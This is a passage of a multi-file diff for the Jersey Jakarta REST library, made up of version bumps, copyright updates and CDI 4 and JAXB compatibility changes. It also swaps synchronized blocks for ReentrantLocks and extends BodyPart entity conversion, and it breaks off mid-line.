@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/open-tracing/pom.xml b/incubator/open-tracing/pom.xml index 5faa7b0..eec6e73 100644 --- a/incubator/open-tracing/pom.xml +++ b/incubator/open-tracing/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/incubator/pom.xml b/incubator/pom.xml index afbfda4..5d82dd9 100644 --- a/incubator/pom.xml +++ b/incubator/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.incubator</groupId> @@ -57,7 +57,7 @@ <profile> <id>HTML-JSON-FOR-PRE-JDK24</id> <activation> - <jdk>[1.8, 24)</jdk> + <jdk>[11, 24)</jdk> </activation> <modules> <module>html-json</module>
diff --git a/inject/cdi2-se/pom.xml b/inject/cdi2-se/pom.xml index d63c8ea..09afb2e 100644 --- a/inject/cdi2-se/pom.xml +++ b/inject/cdi2-se/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.inject</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi2-se</artifactId> @@ -113,6 +113,7 @@ <Import-Package> sun.misc.*;resolution:=optional, ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", ${jakarta.annotation.osgi.version}, * </Import-Package> @@ -135,15 +136,4 @@ </plugin> </plugins> </build> - <profiles> - <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version> - </properties> - </profile> - </profiles> -</project> +</project> \ No newline at end of file
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java index 4bf816f..86e97ab 100644 --- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java +++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
@@ -54,7 +54,7 @@ this.injectionTarget = injectionTargetFactory.createInjectionTarget(null); } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java index aff3f91..053dbe8 100644 --- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java +++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
@@ -140,9 +140,10 @@ public static <T> void registerSupplier(SupplierClassBinding<T> binding, AfterBeanDiscovery abd, Collection<InjectionResolver> resolvers, BeanManager beanManager) { - Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass(); - AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass); - InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType); + final Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass(); + final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass); + final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType); + final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null); SupplierClassBean<T> supplierBean = new SupplierClassBean<>(binding); InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers);
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java index 24fc62f..8f3fc55 100644 --- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java +++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
@@ -133,7 +133,7 @@ return false; } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/inject/hk2/pom.xml b/inject/hk2/pom.xml index 84a04cf..d52eb5c 100644 --- a/inject/hk2/pom.xml +++ b/inject/hk2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.inject</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-hk2</artifactId>
diff --git a/inject/pom.xml b/inject/pom.xml index 1dec961..77575f2 100644 --- a/inject/pom.xml +++ b/inject/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml index 484d0a4..35804fd 100644 --- a/media/jaxb/pom.xml +++ b/media/jaxb/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-jaxb</artifactId>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java index 49e954f..493f8b7 100644 --- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java +++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
@@ -21,6 +21,8 @@ import java.lang.ref.WeakReference; import java.util.Map; import java.util.WeakHashMap; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.logging.Level; import java.util.logging.Logger; @@ -57,6 +59,7 @@ private static final Map<Class<?>, WeakReference<JAXBContext>> jaxbContexts = new WeakHashMap<Class<?>, WeakReference<JAXBContext>>(); + private static final Lock jaxbContextsLock = new ReentrantLock(); private final Providers jaxrsProviders; private final boolean fixedResolverMediaType; private final Value<ContextResolver<JAXBContext>> mtContext; @@ -149,7 +152,7 @@ /** * Get the JAXB unmarshaller for the given class and media type. * <p> - * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType) + * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType) * created with a fixed resolver media type}, the supplied media type argument will be ignored. * </p> * @@ -192,7 +195,7 @@ /** * Get the JAXB marshaller for the given class and media type. * <p> - * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType) + * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType) * created with a fixed resolver media type}, the supplied media type argument will be ignored. * </p> * @@ -280,7 +283,8 @@ * @throws JAXBException in case the JAXB context retrieval fails. */ protected JAXBContext getStoredJaxbContext(Class type) throws JAXBException { - synchronized (jaxbContexts) { + jaxbContextsLock.lock(); + try { final WeakReference<JAXBContext> ref = jaxbContexts.get(type); JAXBContext c = (ref != null) ? ref.get() : null; if (c == null) { @@ -288,6 +292,8 @@ jaxbContexts.put(type, new WeakReference<JAXBContext>(c)); } return c; + } finally { + jaxbContextsLock.unlock(); } }
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java index e7e399d..7065c43 100644 --- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java +++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,6 +20,8 @@ import java.lang.reflect.Type; import java.util.Map; import java.util.WeakHashMap; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.core.Context; @@ -54,6 +56,7 @@ public class JaxbStringReaderProvider { private static final Map<Class, JAXBContext> jaxbContexts = new WeakHashMap<Class, JAXBContext>(); + private static final Lock jaxbContextsLock = new ReentrantLock(); private final Value<ContextResolver<JAXBContext>> mtContext; private final Value<ContextResolver<Unmarshaller>> mtUnmarshaller; @@ -116,13 +119,16 @@ * @throws JAXBException in case JAXB context retrieval fails. */ protected JAXBContext getStoredJAXBContext(Class type) throws JAXBException { - synchronized (jaxbContexts) { + jaxbContextsLock.lock(); + try { JAXBContext c = jaxbContexts.get(type); if (c == null) { c = JAXBContext.newInstance(type); jaxbContexts.put(type, c); } return c; + } finally { + jaxbContextsLock.unlock(); } }
diff --git a/media/json-binding/pom.xml b/media/json-binding/pom.xml index 53de4a8..538dfa2 100644 --- a/media/json-binding/pom.xml +++ b/media/json-binding/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-json-binding</artifactId> @@ -98,6 +98,10 @@ <groupId>org.glassfish</groupId> <artifactId>jakarta.json</artifactId> </exclusion> + <exclusion> + <groupId>org.eclipse.parsson</groupId> + <artifactId>parsson</artifactId> + </exclusion> </exclusions> </dependency>
diff --git a/media/json-gson/pom.xml b/media/json-gson/pom.xml index a57df78..8e37d39 100644 --- a/media/json-gson/pom.xml +++ b/media/json-gson/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-json-gson</artifactId>
diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml index cb27c7f..ed93813 100644 --- a/media/json-jackson/pom.xml +++ b/media/json-jackson/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-json-jackson</artifactId>
diff --git a/media/json-jettison/pom.xml b/media/json-jettison/pom.xml index 30e074b..7330d35 100644 --- a/media/json-jettison/pom.xml +++ b/media/json-jettison/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-json-jettison</artifactId> @@ -53,7 +53,14 @@ <extensions>true</extensions> <configuration> <instructions> + <!-- Explicitly set versions for packages from GlassFish to allow future uptake of GlassFish 7.x--> + <Import-Package> + jakarta.xml.bind.*;version="[3.0,5)", + * + </Import-Package> + <Export-Package>org.glassfish.jersey.jettison.*</Export-Package> + <!--<Import-Package> com.sun.xml.bind.annotation;resolution:=optional,com.sun.xml.bind.v2.*;resolution:=optional, * </Import-Package>-->
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java index f76ab53..6d6b039 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,6 @@ import jakarta.xml.bind.JAXBException; import jakarta.xml.bind.Marshaller; import jakarta.xml.bind.Unmarshaller; -import jakarta.xml.bind.Validator; import org.glassfish.jersey.jettison.internal.BaseJsonMarshaller; import org.glassfish.jersey.jettison.internal.BaseJsonUnmarshaller; @@ -300,15 +299,4 @@ public Marshaller createMarshaller() throws JAXBException { return new JettisonJaxbMarshaller(jaxbContext, getJSONConfiguration()); } - - /** - * Simply delegates to underlying JAXBContext implementation. - * - * @return what underlying JAXBContext returns - * @throws jakarta.xml.bind.JAXBException - */ - @Override - public Validator createValidator() throws JAXBException { - return jaxbContext.createValidator(); - } }
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java index 6e137af..be2bd61 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,7 +20,7 @@ import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.Writer; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.xml.bind.JAXBContext; import jakarta.xml.bind.JAXBException; @@ -40,8 +40,6 @@ */ public class BaseJsonMarshaller implements JettisonMarshaller, JettisonConfigured { - private static final Charset UTF8 = Charset.forName("UTF-8"); - protected final Marshaller jaxbMarshaller; protected JettisonConfig jsonConfig; @@ -67,7 +65,7 @@ throw new IllegalArgumentException("The output stream is null"); } - marshallToJSON(o, new OutputStreamWriter(outputStream, UTF8)); + marshallToJSON(o, new OutputStreamWriter(outputStream, StandardCharsets.UTF_8)); } public void marshallToJSON(Object o, Writer writer) throws JAXBException {
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java index 0aa13c2..a5bdaeb 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,7 +19,7 @@ import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.xml.bind.JAXBContext; import jakarta.xml.bind.JAXBElement; @@ -41,8 +41,6 @@ */ public class BaseJsonUnmarshaller implements JettisonUnmarshaller, JettisonConfigured { - private static final Charset UTF8 = Charset.forName("UTF-8"); - protected final Unmarshaller jaxbUnmarshaller; protected final JettisonConfig jsonConfig; @@ -62,7 +60,7 @@ // JsonUnmarshaller public <T> T unmarshalFromJSON(InputStream inputStream, Class<T> expectedType) throws JAXBException { - return unmarshalFromJSON(new InputStreamReader(inputStream, UTF8), expectedType); + return unmarshalFromJSON(new InputStreamReader(inputStream, StandardCharsets.UTF_8), expectedType); } @SuppressWarnings("unchecked") @@ -75,7 +73,7 @@ } public <T> JAXBElement<T> unmarshalJAXBElementFromJSON(InputStream inputStream, Class<T> declaredType) throws JAXBException { - return unmarshalJAXBElementFromJSON(new InputStreamReader(inputStream, UTF8), declaredType); + return unmarshalJAXBElementFromJSON(new InputStreamReader(inputStream, StandardCharsets.UTF_8), declaredType); } public <T> JAXBElement<T> unmarshalJAXBElementFromJSON(Reader reader, Class<T> declaredType) throws JAXBException {
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java index cd78fc9..4603572 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -128,17 +128,17 @@ } @Override - public void setAdapter(XmlAdapter adapter) { + public <A extends XmlAdapter<?, ?>> void setAdapter(A adapter) { jaxbMarshaller.setAdapter(adapter); } @Override - public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) { + public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) { jaxbMarshaller.setAdapter(type, adapter); } @Override - public <A extends XmlAdapter> A getAdapter(Class<A> type) { + public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) { return jaxbMarshaller.getAdapter(type); }
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java index 3d24d50..377e37a 100644 --- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java +++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -123,16 +123,6 @@ } @Override - public void setValidating(boolean validating) throws JAXBException { - this.jaxbUnmarshaller.setValidating(validating); - } - - @Override - public boolean isValidating() throws JAXBException { - return this.jaxbUnmarshaller.isValidating(); - } - - @Override public void setEventHandler(ValidationEventHandler validationEventHandler) throws JAXBException { this.jaxbUnmarshaller.setEventHandler(validationEventHandler); } @@ -163,17 +153,17 @@ } @Override - public void setAdapter(XmlAdapter xmlAdapter) { + public <A extends XmlAdapter<?, ?>> void setAdapter(A xmlAdapter) { this.jaxbUnmarshaller.setAdapter(xmlAdapter); } @Override - public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) { + public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) { this.jaxbUnmarshaller.setAdapter(type, adapter); } @Override - public <A extends XmlAdapter> A getAdapter(Class<A> type) { + public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) { return this.jaxbUnmarshaller.getAdapter(type); }
diff --git a/media/json-processing/pom.xml b/media/json-processing/pom.xml index aa851ad..c5e21cf 100644 --- a/media/json-processing/pom.xml +++ b/media/json-processing/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-json-processing</artifactId>
diff --git a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java index aa3e96c..f25f8b6 100644 --- a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java +++ b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
@@ -25,6 +25,7 @@ import org.glassfish.jersey.CommonProperties; + /** * {@link Feature} used to register JSON-P providers. *
diff --git a/media/moxy/pom.xml b/media/moxy/pom.xml index 5ae722e..364a03b 100644 --- a/media/moxy/pom.xml +++ b/media/moxy/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-moxy</artifactId> @@ -89,6 +89,16 @@ <groupId>org.eclipse.parsson</groupId> <artifactId>parsson</artifactId> </dependency> + <dependency> + <groupId>org.ow2.asm</groupId> + <artifactId>asm</artifactId> + <version>${asm.version}</version> + </dependency> + + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + </dependency> <dependency> <groupId>org.eclipse.persistence</groupId> @@ -98,6 +108,18 @@ <groupId>jakarta.json.bind</groupId> <artifactId>jakarta.json.bind-api</artifactId> </exclusion> + <exclusion> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> + </exclusion> + <exclusion> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + </exclusion> + <exclusion> + <groupId>jakarta.activation</groupId> + <artifactId>jakarta.activation-api</artifactId> + </exclusion> </exclusions> </dependency>
diff --git a/media/multipart/pom.xml b/media/multipart/pom.xml index ffda4d0..46a1ca2 100644 --- a/media/multipart/pom.xml +++ b/media/multipart/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.media</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-media-multipart</artifactId> @@ -92,7 +92,12 @@ <version>${project.version}</version> <scope>test</scope> </dependency> - + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-processing</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter</artifactId> @@ -104,13 +109,14 @@ <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> + <inherited>true</inherited> <configuration> <testExcludes> <testExclude>org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java</testExclude> @@ -123,7 +129,7 @@ <profile> <id>Jetty11</id> <activation> - <jdk>[11,)</jdk> + <jdk>[17,)</jdk> </activation> <dependencies> <dependency> @@ -135,5 +141,4 @@ </dependencies> </profile> </profiles> - </project>
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java index 0e20e25..d672e1c 100644 --- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java +++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,16 +16,22 @@ package org.glassfish.jersey.media.multipart; +import java.io.ByteArrayInputStream; import java.io.IOException; +import java.io.InputStream; import java.lang.annotation.Annotation; +import java.lang.reflect.Type; import java.text.ParseException; +import java.util.Arrays; import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.GenericType; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.ext.MessageBodyReader; import jakarta.ws.rs.ext.Providers; +import org.glassfish.jersey.innate.spi.MessageBodyWorkersSettable; import org.glassfish.jersey.internal.util.collection.ImmutableMultivaluedMap; import org.glassfish.jersey.media.multipart.internal.LocalizationMessages; import org.glassfish.jersey.message.MessageBodyWorkers; @@ -39,7 +45,7 @@ * @author Paul Sandoz * @author Michal Gajdos */ -public class BodyPart { +public class BodyPart implements MessageBodyWorkersSettable { protected ContentDisposition contentDisposition = null; @@ -263,21 +269,49 @@ * entity instance is not the unconverted content of the body part entity. */ public <T> T getEntityAs(final Class<T> clazz) { - if (entity == null || !(entity instanceof BodyPartEntity)) { + return getEntityAs(clazz, clazz); + } + + /** + * Returns the entity after appropriate conversion to the requested type. This is useful only when the containing + * {@link MultiPart} instance has been received, which causes the {@code providers} property to have been set. + * + * @param genericEntity desired entity type into which the entity should be converted. + * @return entity after appropriate conversion to the requested type. + * + * @throws ProcessingException if an IO error arises during reading an entity. + * @throws IllegalArgumentException if no {@link MessageBodyReader} can be found to perform the requested conversion. + * @throws IllegalStateException if this method is called when the {@code providers} property has not been set or when the + * entity instance is not the unconverted content of the body part entity. + */ + <T> T getEntityAs(final GenericType<T> genericEntity) { + return (T) getEntityAs(genericEntity.getRawType(), genericEntity.getType()); + } + + <T> T getEntityAs(final Class<T> type, Type genericType) { + InputStream inputStream = null; + if (BodyPartEntity.class.isInstance(entity)) { + inputStream = ((BodyPartEntity) entity).getInputStream(); + } else if (InputStream.class.isInstance(entity)) { + inputStream = (InputStream) entity; + } else if (byte[].class.isInstance(entity)) { + 